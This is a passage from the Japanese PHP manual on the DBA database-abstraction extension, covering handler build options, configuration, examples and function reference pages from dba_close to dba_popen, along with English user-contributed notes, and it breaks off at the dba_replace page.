
ndbm ndbm のサポートを有効にするには、 --with-ndbm[=DIR] を追加します。

注意:

ndbm は一般的にはラッパーで、しばしば失敗を引き起こします。 その動作をしっかり把握しており、ほんとうにそれを必要とする場合のみ ndbm を使用するようにすべきです。

gdbm | gdbm のサポートを有効にするには、 --with-gdbm[=DIR] を追加します。
db2 Oracle Berkeley DB のサポートを有効にするには、 --with-db2[=DIR] を追加します。

注意:

db2 は db3 および db4 とは同時に使えません。

db3 Oracle Berkeley DB 3 のサポートを有効にするには、 --with-db3[=DIR] を追加します。

注意:

db3 は db2 および db4 とは同時に使えません。

db4 Oracle Berkeley DB 4 あるいは 5 のサポートを有効にするには、 --with-db4[=DIR] を追加します。

注意:

db4 は db2 および db3 とは同時に使えません。

注意:

バージョン 4.1 から 4.1.24 までの db ライブラリは、どの PHP のバージョンでも利用できません。

BDB 5 のサポートは PHP 5.3.3 で追加されました。

cdb cdb のサポートを有効にするには、 --with-cdb[=DIR] を追加します。

注意:

付属する cdb ライブラリを使用するために DIR を省略することができます。この場合、cdb_make ハンドラが追加されます。 これにより cdb ファイルを作成したり、PHPのストリームを用いて ネットワーク上の cdb ファイルにアクセスできるようになります。

flatfile flatfile のサポートを有効にするには、 --enable-flatfile を追加します。 PHP 5.2.1 以前では、 --with-flatfile オプションを使わなければなりませんでした。

注意:

これは、古い dbm 拡張モジュール との互換性のために追加されました。 このハンドラは、他のハンドラで必要とされるライブラリをひとつも インストールすることができない場合、そして、付属する cdb ハンドラを使用することができない場合にのみ使用してください。

inifile inifile のサポートを有効にするには、 --enable-inifile を追加します。 PHP 5.2.1 以前では、 --with-inifile オプションを使わなければなりませんでした。

注意:

これは Microsoft 形式の .ini ファイル（php.ini のような）を 読み書きできるようにするために追加されました。

qdbm qdbm のサポートを有効にするには、 --with-qdbm[=DIR] を追加します。

注意:

qdbm は dbm および gdbm とは同時に使えません。

注意:

qdbm ライブラリは » http://fallabs.com/qdbm/index.html からダウンロードできます。

tcadb

Tokyo Cabinet のサポートを有効にするには、 --with-tcadb[=DIR] を追加します。

注意:

これは PHP 5.4.0 で追加されました。Tokyo Cabinet ライブラリは » http://fallabs.com/tokyocabinet/ からダウンロードできます。

lmdb

Lightning Memory-Mapped Database のサポートを有効にするには、 --with-lmdb[=DIR] を追加します。

注意:

これは PHP 7.2.0 で追加されました。 Lightning Memory-Mapped Database は » https://symas.com/lmdb/ からダウンロードできます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

DBA 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
dba.default_handler | DBA_DEFAULT | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

dba.default_handler string

デフォルトのハンドラ名。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

関数 dba_open() および dba_popen() は、指定したデータベースファイルに アクセスするためのハンドルを返します。このハンドルは、他の全ての dba 関数コールで使用されます。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な例

User Contributed Notes

There are no user contributed notes for this page.


基本的な例

例1 DBA の例

<?php

$id = dba_open("/tmp/test.db", "n", "db2");

if (!$id) {
    echo "dba_open failed\n";
    exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
    echo dba_fetch("key", $id);
    dba_delete("key", $id);
}

dba_close($id);
?>

DBA はバイナリセーフであり、いかなる制限も受けません。しかし、 使用するデータベースの実装による全ての制約を継承します。

全てのファイルベースのデータベースは、完全に使用可能なものについて 新規に作成されたデータベースのファイルモードを設定する手段を、 提供する必要があります。 ファイルモードは、通常 dba_open() または dba_popen() に 4 番目の引数として渡されます。

dba_firstkey() および dba_nextkey() 関数を用いて全てのエントリに 連続的にアクセスすることができます。アクセスする際にデータベースを 変更できない可能性があります。

例2 データベースへのアクセス

<?php

// データベースをオープンする

$key = dba_firstkey($id);

while ($key !== false) {
    if (true) {          // 他の操作を後で行うためにキーを記憶する
        $handle_later[] = $key;
    }
    $key = dba_nextkey($id);
}

foreach ($handle_later as $val) {
    dba_delete($val, $id);
}

?>

User Contributed Notes

There are no user contributed notes for this page.


DBA 関数

目次

  • dba_close — DBA データベースを閉じる
  • dba_delete — キーが指す DBA エントリを削除する
  • dba_exists — キーが存在するかどうかを確認する
  • dba_fetch — キーが指すデータを取得する
  • dba_firstkey — 最初のキーを取得する
  • dba_handlers — 利用可能なハンドラの一覧を得る
  • dba_insert — エントリを挿入する
  • dba_key_split — 文字列形式のキーを配列形式に分割する
  • dba_list — オープンされている全データベースファイルのリストを得る
  • dba_nextkey — 次のキーを取得する
  • dba_open — データベースをオープンする
  • dba_optimize — データベースを最適化する
  • dba_popen — データベースを持続的にオープンする
  • dba_replace — エントリを置換または挿入する
  • dba_sync — データベースを同期する

User Contributed Notes

Franz Korntner 21-Feb-2012 09:10
If you need a 'download data' button that automatically fires up a spreadsheet (like Excel), find that fputcsv() isn't working as expected, that none of the installed DBA database engines create a spreadsheet that can be opened, and that XLS generating components are just too heavy weight, then this might just hit the spot:

<?php
// simple table to present
$data = array(
    array('col1','col2'),
    array(1,2),
    array(3,4)
);

// pretend content (which is XML) is XLS native
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private", false);
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=\"sheet.xls\";" );

// construct skeleton
$dom = new DOMDocument('1.0', 'utf-8');
$dom->formatOutput = $dom->preserveSpaces = true; // optional
$n = new DOMProcessingInstruction('mso-application', 'progid="Excel.Sheet"');
$dom->appendChild($n);

$workbook = $dom->appendChild(new DOMElement('Workbook'));
$workbook->setAttribute('xmlns','urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:o','urn:schemas-microsoft-com:office:office');
$workbook->setAttribute('xmlns:x','urn:schemas-microsoft-com:office:excel');
$workbook->setAttribute('xmlns:ss','xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet');
$workbook->setAttribute('xmlns:html','http://www.w3.org/TR/REC-html40');

$styles = $workbook->appendChild(new DOMElement('Styles'));
$style = $styles->appendChild(new DOMElement('Style'));
$style->setAttribute('ss:ID','Default');
$worksheet = $workbook->appendChild(new DOMElement('Worksheet'));
$worksheet->setAttribute('ss:Name','sheet1');
$xmltable = $worksheet->appendChild(new DOMElement('Table'));

// populate with data
foreach ($data as $datarow) {
    $xmlrow = $xmltable->appendChild(new DOMElement('Row'));
    foreach ($datarow as $datacell) {
        $xmlcell = $xmlrow->appendChild(new DOMElement('Cell'));
        $xmldata = $xmlcell->appendChild(new DOMElement('Data', $datacell));
        $xmldata->setAttribute('ss:Type', is_numeric($datacell) ? 'Number' : 'String');
    }
}

// display and quit
echo $dom->saveXML();
?>
doppelbauer at gmail dot com 14-Oct-2006 07:47
Benchmark test:

http://qdbm.sourceforge.net/benchmark.pdf
jason 21-Dec-2004 07:33
Don't make the dumb mistake I did, if you copy the first example at the top and modify it for test, the dba_open specifies "n" which will truncate the database that you are pointing to. Make sure you change it to "r" if you just want to read from an existing dbm file.
kevinphpdotnet at stormtide dot ca 17-Mar-2004 11:10
When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net 17-Oct-1999 03:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.


DBA データベースを閉じる

  • ≪ DBA 関数
  • dba_delete ≫
  • PHP Manual
  • DBA 関数
  • DBA データベースを閉じる

dba_close

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_close — DBA データベースを閉じる

説明

dba_close ( resource $dba ) : void

dba_close() は確立されたデータベースを閉じ、 により指定したデータベースハンドルの全てのリソースを開放します。

パラメータ

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

値を返しません。

参考

  • dba_open() - データベースをオープンする
  • dba_popen() - データベースを持続的にオープンする

User Contributed Notes

There are no user contributed notes for this page.


キーが指す DBA エントリを削除する

  • ≪ dba_close
  • dba_exists ≫
  • PHP Manual
  • DBA 関数
  • キーが指す DBA エントリを削除する

dba_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_delete — キーが指す DBA エントリを削除する

説明

dba_delete ( string|array $key , resource $dba ) : bool

dba_delete() は、指定されたエントリを データベースから削除します。

パラメータ

key

削除するエントリのキー。

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • dba_exists() - キーが存在するかどうかを確認する
  • dba_fetch() - キーが指すデータを取得する
  • dba_insert() - エントリを挿入する
  • dba_replace() - エントリを置換または挿入する

User Contributed Notes

swain at panix dot com 06-Nov-2001 11:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.


キーが存在するかどうかを確認する

  • ≪ dba_delete
  • dba_fetch ≫
  • PHP Manual
  • DBA 関数
  • キーが存在するかどうかを確認する

dba_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_exists — キーが存在するかどうかを確認する

説明

dba_exists ( string|array $key , resource $dba ) : bool

dba_exists() は、指定した key がデータベースに存在するかどうかを確認します。

パラメータ

key

確認を行うキー。

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

キーが存在する場合に true 、それ以外の場合に false を返します。

参考

  • dba_delete() - キーが指す DBA エントリを削除する
  • dba_fetch() - キーが指すデータを取得する
  • dba_insert() - エントリを挿入する
  • dba_replace() - エントリを置換または挿入する

User Contributed Notes

frenzy dot ivan at gmail dot com 26-Nov-2008 05:37
<?php

$index = 4;
$id = dba_open("frenzy.db", "w", "flatfile");
if(!$id) exit ("Some error...");
if(dba_exists($index, $id)) exit ("This key is using");
dba_close($id);

?>


キーが指すデータを取得する

  • ≪ dba_exists
  • dba_firstkey ≫
  • PHP Manual
  • DBA 関数
  • キーが指すデータを取得する

dba_fetch

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_fetch — キーが指すデータを取得する

説明

dba_fetch ( string $key , resource $handle ) : string
dba_fetch ( string $key , int $skip , resource $handle ) : string

dba_fetch() は、handle が指すデータベースから key が指すデータを 取得します。

パラメータ

key

データを取得するキー。

注意:

inifile を利用する際には、この関数は配列を受け入れることが可能です。 インデックス 0 にはグループ名、インデックス 1 には値の名前を格納します。 dba_key_split() も参照ください。

skip

dba データベースを使用する際に無視する キー / 値 の組み合わせ数。 複数のキーに同じ名前をつけることがサポートされていないデータベースです、 この値は無視されます。

handle

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

キー / データの組が見つかった場合にそれに関連する文字列、 それ以外の場合に false を返します。

参考

  • dba_exists() - キーが存在するかどうかを確認する
  • dba_delete() - キーが指す DBA エントリを削除する
  • dba_insert() - エントリを挿入する
  • dba_replace() - エントリを置換または挿入する
  • dba_key_split() - 文字列形式のキーを配列形式に分割する

User Contributed Notes

khan666 at lycos dot co dot kr 05-Dec-2010 05:11
:: fetch array sort.

ex) TEST_DATA.DB

    1/korea/5000/word 1
    10/japan/25000/word 10
    21/china/130000/word 21
    2/usa/35000/word 2

<?php
# LIST SORT
$DB4_DATABASE = "TEST_DATA.DB4";
$DIV = "/";
$_FILE = "$DATA_DIR/HUTM_NETWORK_ROUTER.DB"; // DB4 FileName

$db  = dba_open($DB4_DATABASE,"r","db4");
$key = dba_firstkey($db);
$ii = 0;
while($key != NULL)
{
     $LIST[$ii] = explode($DIV,dba_fetch($key, $db));    // fetch array
    $key = dba_nextkey($db);
    $ii++;
}
dba_close($db);
$total = $ii; // total count

# date sort
sort($LIST,SORT_NUMERIC);    // numeric key sort ..

# list display
for($i=0;$i<$total;$i++)
{
    $oData = explode($DIV,$LIST[$i]);    // key + value (sort)

    $key   = trim(chop($oData[0])); # ???
    $name  = trim(chop($oData[1])); # ??
    $count = trim(chop($oData[2])); # ?
    $word  = trim(chop($oData[3])); # ??

    echo "$key / $name / $count / $word <br>\r\n";
}
?>

::result::

1/korea/5000/word 1
2/usa/35000/word 2
10/japan/25000/word 10
21/china/130000/word 21


最初のキーを取得する

  • ≪ dba_fetch
  • dba_handlers ≫
  • PHP Manual
  • DBA 関数
  • 最初のキーを取得する

dba_firstkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_firstkey — 最初のキーを取得する

説明

dba_firstkey ( resource $dba ) : string|false

dba_firstkey() はデータベースの最初のキーを返し、 内部キーポインタをリセットします。 この関数によりデータベース全体を連続的にサーチすることが可能になります。

パラメータ

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合にキー、失敗した場合に false を返します。

参考

  • dba_nextkey() - 次のキーを取得する
  • dba_key_split() - 文字列形式のキーを配列形式に分割する
  • DBA の例の例 2

User Contributed Notes

rcracer91 at gmail dot com 26-Aug-2009 12:21
I wondered why it wasn't already written, so I did because I think working with associative arrays is always as comfortable as can be

<?php
function dba_fetch_assoc($handle) {
    $assoc = array();
    for($k = dba_firstkey($handle); $k != false; $k = dba_nextkey($handle)) {
        $assoc[$k] = dba_fetch($k, $handle);
    }
    return $assoc;
}
?>
psycho-logic at excite dot com 22-Oct-2003 05:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
    print("Key: $the_key    Value:");
    print dba_fetch($the_key, $DBCon);
    print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net 17-Jan-2002 05:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
            $keyset[] = $key;
        } // end for


利用可能なハンドラの一覧を得る

  • ≪ dba_firstkey
  • dba_insert ≫
  • PHP Manual
  • DBA 関数
  • 利用可能なハンドラの一覧を得る

dba_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_handlers — 利用可能なハンドラの一覧を得る

説明

dba_handlers ( bool $full_info = false ) : array

dba_handlers() は、この拡張モジュールにより サポートされる全てのハンドラの一覧を返します。

パラメータ

full_info

結果の全ての情報を表示するかどうかを切り替えます。

返り値

データベースハンドラの配列を返します。full_info が true の場合、この配列はハンドラ名をキー、そのバージョンを値とする 連想配列となります。それ以外の場合はハンドラ名を値に持つ数値添字の配列と なります。

注意:

cdb ライブラリが用いられている場合、 cdb および cdb_make が表示されます。

例

例1 dba_handlers() の例

<?php

echo "Available DBA handlers:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
  // バージョン番号を見やすくする
  $handler_version = str_replace('$', '', $handler_version);
  echo " - $handler_name: $handler_version\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

Available DBA handlers:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 05:59
A quick way to see which DBA handlers, without version numbers, that have been built into your version of MySQL on your system, use var_dump with dba_handler() as follows:

<?php
var_dump ( "dba_handlers()" );
?>

Many distros build in these DBA Handlers by default:
array(5) { [0]=>  string(3) "cdb" [1]=>  string(8) "cdb_make" [2]=>  string(3) "db4" [3]=>  string(7) "inifile" [4]=>  string(8) "flatfile" }

using print and pre tags for readability:

array(5) {

  [0]=>

  string(3) "cdb"

  [1]=>

  string(8) "cdb_make"

  [2]=>

  string(3) "db4"

  [3]=>

  string(7) "inifile"

  [4]=>

  string(8) "flatfile"

}

Note there are issues with dba_insert and dba_replace without building for either GDBM or QDBM.
  Here are two sources for the list of DBA handlers: (http://www.php-editors.com/php_manual/ref.dba.html and http://dewa03.unep.org/manuals/php_manual/ref.dba.html; )

CDBM & CDB compiles have issues with updates, you can read databases and write new database files, but you will be prevented from using dba_replace() and you may have issues with dba_insert().

NDBM & DBM are depreciated.

DB2, DB3 & DB4 (Berkeley DB Sleepycat Software / Oracle)  Have read online about issues with dba_replace() and db4 specifically. Make sure you test your installation for correct usage of all DBA functions.

SDBM, TDB, TinyCDB were not listed on most of the sources I have found online.  Those DBA handlers and the names of the developers were listed on the QDBM source forge site.  How they interact with dba_replace() I do not know.  You should be aware of their existence.

GDBM and QDBM are the only other two DBA handlers I am aware of.  Both are reported to allow PHP's dba_replace() function to work correctly so either may be an acceptable option.  The following three restrictions of traditional DBM are not issues for either GDBM or QDBM: 1) a process can handle only one database;  2) the size of a key and a value is bounded;   3) a database file is sparse.

DBA handler benchmark compares QDBM, GDBM, NDBM, SDBM, TDB, CDB, BDB, QDBM-BT-ASC, QDBM-BT-RND, BDB-BT-ASC, BDB-BT-RND can be found here: (http://qdbm.sourceforge.net/benchmark.pdf);

QDBM seems to offer significant improvements in speed over the other DBA Handlers, test in your environment to verify the results.


エントリを挿入する

  • ≪ dba_handlers
  • dba_key_split ≫
  • PHP Manual
  • DBA 関数
  • エントリを挿入する

dba_insert

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_insert — エントリを挿入する

説明

dba_insert ( string|array $key , string $value , resource $dba ) : bool

dba_insert() は、 データベースに key および value で記述されるエントリを挿入します。

パラメータ

key

挿入するエントリのキー。もしこのキーが既にデータベースに存在する場合、 この関数は失敗します。既存のキーを置き換える場合は、 dba_replace() を使用してください。

value

挿入する値。

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • dba_exists() - キーが存在するかどうかを確認する
  • dba_delete() - キーが指す DBA エントリを削除する
  • dba_fetch() - キーが指すデータを取得する
  • dba_replace() - エントリを置換または挿入する

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 02:18
berkeleydb example.

<?php
    # DB4 CREATE & INSERT
    $_FILE   = "/DATA_DIR/TEST_DATA.DB";
    $DIV     = "\xFE";
    $inValue = "name".$DIV."0".$DIV."test value";

    $dbh   = dba_open($_FILE,"c","db4");
    dba_close($dbh);

    $dbh   = dba_open($_FILE,"w","db4");
    dba_insert(1,$inValue,$dbh);
    dba_close($dbh);
?>
istanbul2edinburgh 13-Jul-2006 07:02
here is a good example for this;

 $dbh = dba_open( "./data/products", "c", "gdbm" )
       or die( "Couldn't open database" );

 dba_insert( "Sonic Screwdriver", "23.20", $dbh);
 dba_insert( "Tricorder", "55.50", $dbh);
 dba_insert( "ORAC AI", "2200.50", $dbh);
 dba_insert( "HAL 2000", "4500.50", $dbh);

 dba_close( $dbh );

 you may find more about the topic in this URL:

http://www.samspublishing.com  /articles/article.asp?p=29742&seqNum=3&rl=1


文字列形式のキーを配列形式に分割する

  • ≪ dba_insert
  • dba_list ≫
  • PHP Manual
  • DBA 関数
  • 文字列形式のキーを配列形式に分割する

dba_key_split

(PHP 5, PHP 7, PHP 8)

dba_key_split — 文字列形式のキーを配列形式に分割する

説明

dba_key_split ( string|false|null $key ) : array|false

dba_key_split() は、キー（文字列形式） を配列に分割します。

パラメータ

key

文字列形式のキー。

返り値

array(0 => group, 1 => value_name) 形式の配列を返します。 key が null あるいは false の場合には この関数は false を返します。

参考

  • dba_firstkey() - 最初のキーを取得する
  • dba_nextkey() - 次のキーを取得する
  • dba_fetch() - キーが指すデータを取得する

User Contributed Notes

There are no user contributed notes for this page.


オープンされている全データベースファイルのリストを得る

  • ≪ dba_key_split
  • dba_nextkey ≫
  • PHP Manual
  • DBA 関数
  • オープンされている全データベースファイルのリストを得る

dba_list

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_list — オープンされている全データベースファイルのリストを得る

説明

dba_list ( ) : array

dba_list() は、オープンされている全ての データベースファイルの一覧を返します。

返り値

resourceid => filename 形式の連想配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


次のキーを取得する

  • ≪ dba_list
  • dba_open ≫
  • PHP Manual
  • DBA 関数
  • 次のキーを取得する

dba_nextkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_nextkey — 次のキーを取得する

説明

dba_nextkey ( resource $dba ) : string|false

dba_nextkey() は、 が指すデータベースの次のキーを返し、内部キーポインタを進めます。

パラメータ

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合にキー、失敗した場合に false を返します。

参考

  • dba_firstkey() - 最初のキーを取得する
  • dba_key_split() - 文字列形式のキーを配列形式に分割する
  • DBA の例の例 2

User Contributed Notes

There are no user contributed notes for this page.


データベースをオープンする

  • ≪ dba_nextkey
  • dba_optimize ≫
  • PHP Manual
  • DBA 関数
  • データベースをオープンする

dba_open

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_open — データベースをオープンする

説明

dba_open ( string $path , string $mode , string $handler = ? , string ...$args ) : resource|false

dba_open() は、handler を用いて mode を指定し、path にデータベースインスタンスを生成します。

パラメータ

path

通常のファイルシステムのパス。

mode

既存のデータベースへの読み込みアクセスには "r"、読込み/書き込み アクセスには "w" を指定します。 読み込み/書き込みアクセスおよび存在しない場合にデータベースの作成を するには "c" を、そして作成、削除、読込み/書き込みアクセス用には "n" を指定します。データベースは BTree モードで作られます。 その他のモード (Hash や Queue) には対応していません。

さらに、次の文字でデータベースのロック方法を指定することができます。 .lck でデータベースをロックする場合には "l"、 データベースファイル自体をロックする場合は "d" を使用してください。 アプリケーション全体で統一した方法を用いることが重要です。

アクセスのテストを行う際にロックのために待ちたくない場合、"t" を 3 番目の文字に追加することができます。明らかにデータベースのロックが 不要な場合には、"l" や "d" の代わりに "-" を使用してロックを 行わないことができます。"d"、"l" または "-" のどれも指定されない場合、 "d"が指定されたものとしてデータベースファイルをロックします。

注意:

ひとつのデータベースファイルに同時に書き込めるのは、ひとつだけです。 dba を Web サーバーで使用している際に複数のリクエストが書き込み処理を 行う必要がある場合、他の書き込みが終わってからでないと次の書き込みを 行うことができません。また、書き込み中に読み込むことはできません。 dba 拡張モジュールは、このようなことを防止するためにロックを使用します。 以下の表を参照してください:

DBA のロック処理
既にオープンしているデータベース | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
not open | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false
  • ok: 2 番目のコールは成功します。
  • wait: 2 番目のコールは、最初のデータベースで dba_close() がコールされるまで待ちます。
  • false: 2 番目のコールは、false を返します。
  • illegal: mode パラメータで "l" および "d" を同時に使用することはできません。

handler

path にアクセスする際に使用する ハンドラの名前。 dba_open() に指定したすべてのオプションが 渡され、その機能を用いることができます。

args

ドライバに渡すオプションの string パラメータ

cdb, cdb_make, flatfile, inifile, qdbm。 そして tcadb ドライバは追加のパラメータをサポートしていません。

db1, db2, db3, db4, dbm, gdbm。 そして、 ndbm ドライバは追加パラメータ $filemode をサポートしています。 これは chmod() のパラメータ $mode と同じ意味を持ち、 デフォルトは 0644 です。

lmdb ドライバは追加パラメータをふたつサポートします。 ひとつめは $filemode (説明は上を参照してください) で、 ふたつめは OS のページサイズを複数指定する $mapsize です。 $mapsize に 0 を指定した場合は、デフォルトの値が使われます。 $mapsize パラメータは PHP 7.3.14 と 7.4.2 以降でサポートされています。

返り値

成功した場合に正のハンドル、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.14, 7.4.2 | lmdb ドライバは $mapsize パラメータを追加でサポートしました。

参考

  • dba_popen() - データベースを持続的にオープンする
  • dba_close() - DBA データベースを閉じる

User Contributed Notes

dracoirs at gmail dot com 03-May-2010 03:10
Apache doesn't support Berkeley DB Btree, so you can't manipulate use db4 as the type of database if you want to do DBM authentication with Apache.

gdbm seemed to work fine though, even though it supposedly using Btree instead of hash.  It makes you wonder why Apache would use hash for one dbmtype versus btree for another.

So since Apache and PHP don't have options to choose the method for the Berkeley DBs, you are out of luck.
cbemerine at gmail dot com 06-Sep-2009 04:59
Note the "c" create flag does not work if MySQL was built with the "cdb" DBA handler compile option which is common for many distros.  By definition the cdb DBA handler is optimized for reading/writing and "no updates are allowed."

<?php
$dbh = dba_open( "./data2/productz", "c", "cdb") or die( "Couldn't open Database" );
?>

instead use

<?php
$dbh = dba_open( "./data2/productz", "n", "cdb" ) or die( "Couldnt open Database" );
?>

generates this error message in the /var/log/apache2/error.log:
[Sun Sep 06 04:18:15 2009] [error] [client 192.168.1.125] PHP Warning:  dba_open(./data2/productz,c) [<a href='function.dba-open'>function.dba-open</a>]: Driver initialization failed for handler: cdb: Update operations are not supported in /var/www/projects/testcdb-c.php on line 43

see user contributed comment under dba_handlers() to see which DBA handlers are supported by your build of MySQL and note about using "cdb" compiled DBA systems:

also see user contributed comment under dba_replace() about incompatibilities with cdb DBA handler compiled MySQL systems.
mskala at ansuz dot sooke dot bc dot ca 16-May-2008 02:15
As of GDBM version 1.8.3, GDBM's underlying open call uses non-blocking calls to flock() on systems that have flock().  As a result, calls with "rd" or "wd" locking modes will return error ("Can't be reader" or "Can't be writer") instead of waiting.  Use "rl" or "wl" instead, to make PHP do its own locking external to GDBM.
trohit at blue bottle dot com 23-Nov-2007 03:34
Here's a simple example to use the dba_open function

<?php

$id = dba_open("/tmp/test.db", "n", "gdbm");

if (!$id) {
        echo "dba_open failed\n";
        exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
        echo dba_fetch("key", $id);
        dba_delete("key", $id);
}

dba_close($id);
?>
doppelbauer at gmail dot com 20-Oct-2006 07:36
Windows does not support locking the database. You may use $_ENV to determine the OS:

$locking = (stripos($_ENV['OS'],'windows') === false ? 'd' : 'l');
xy at affenkrieger.de 30-Mar-2006 06:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.


データベースを最適化する

  • ≪ dba_open
  • dba_popen ≫
  • PHP Manual
  • DBA 関数
  • データベースを最適化する

dba_optimize

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_optimize — データベースを最適化する

説明

dba_optimize ( resource $dba ) : bool

dba_optimize() は、指定されたデータベースを最適化します。

パラメータ

dba

dba_open() あるいは dba_popen() によって返されたデータベースハンドル。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • dba_sync() - データベースを同期する

User Contributed Notes

doppelbauer at gmail dot com 17-Oct-2006 02:44
The difference between "dba_optimize" and "dba_sync":

Use "dba_optimize" to optimize a database, which usually consists of eliminating gaps between records created by deletes.

The "dba_sync" function will synchronize the view of the database in memory and its image on the disk. As you insert records, they may be cached in memory by the underlying engine. Other processes reading from the database will not see these new records until synchronization.
samuele at removethisnorsam dot org 04-Aug-2003 03:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.


データベースを持続的にオープンする

  • ≪ dba_optimize
  • dba_replace ≫
  • PHP Manual
  • DBA 関数
  • データベースを持続的にオープンする

dba_popen

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_popen — データベースを持続的にオープンする

説明

dba_popen ( string $path , string $mode , string $handler = ? , mixed ...$args ) : resource|false

dba_popen() は、handler を用いて mode で path に持続的なデータベースインスタンスを確立します。

パラメータ

path

通常のファイルシステムのパス。

mode

既存のデータベースへの読み込みアクセスには "r"、読込み/書き込み アクセスには "w" を指定します。 読み込み/書き込みアクセスおよび存在しない場合にデータベースの作成を するには "c" を、そして作成、削除、読込み/書き込みアクセス用には "n" を指定します。

handler

path にアクセスする際に使用する ハンドラの名前。 dba_popen() に指定したすべてのオプションが 渡され、その機能を用いることができます。

args

ドライバに渡すオプションの文字列の引数

cdb, cdb_make, flatfile, inifile, qdbm および tcadb ドライバは 追加の引数をサポートしていません。

db1, db2, db3, db4, dbm, gdbm, および ndbm ドライバは 追加の引数 $filemode をサポートします。 これは、chmod() の $mode と同じ意味です。 デフォルトは 0644 です。

lmdb ドライバは追加の引数をふたつサポートします。 最初の引数は $filemode (上の説明を見て下さい) で、 ふたつめは OS のページサイズを指定する $mapsize で、 デフォルト値を使うには0を指定します。 $mapsize は PHP 7.3.14 と 7.4.2 以降でサポートされています。

返り値

成功した場合に正のハンドル、失敗した場合に false を返します。

参考

  • dba_open() - データベースをオープンする
  • dba_close() - DBA データベースを閉じる

User Contributed Notes

There are no user contributed notes for this page.


エントリを置換または挿入する

  • ≪ dba_popen
  • dba_sync ≫
  • PHP Manual
  • DBA 関数
  • エントリを置換または挿入する

dba_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_replace — エントリを置換または挿入する

説明

dba_replace ( string|array $key , string $value , resource $dba ) : bool

dba_replace() は、dba で 指定したデータベースに key および value で記述されるエントリを 置換または挿入します。

パラメータ
